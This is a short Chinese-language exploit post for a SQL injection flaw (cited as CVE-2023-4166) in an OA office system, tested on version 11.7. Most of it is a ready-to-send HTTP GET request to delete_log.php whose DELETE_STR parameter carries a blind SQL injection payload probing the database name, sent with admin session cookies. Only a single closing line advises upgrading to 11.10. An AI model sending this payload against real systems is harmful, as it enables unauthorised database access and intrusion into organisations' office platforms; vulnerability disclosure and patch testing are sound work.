某OA注入漏洞（附EXP）

本地测试环境 v11.7  其他版本未知

GET /general/system/seal_manage/dianju/delete_log.php?DELETE_STR=1)%20and%20(substr(DATABASE(),1,1))=char(84)%20and%20(select%20count(*)%20from%20information_schema.columns%20A,information_schema.columns%20B)%20and(1)=(1 HTTP/1.1Host: 192.168.232.137:8098User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: PHPSESSID=1u7tsd1cpgp9qvco726smb50h5; USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=779f3f46Upgrade-Insecure-Requests: 1

https://mp.weixin.qq.com/s/37VKi2Az7LX9G9wVYe6POQhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-4166

该漏洞已向公众披露并可能被使用。升级到版本11.10可以解决这个问题。建议升级受影响的组件。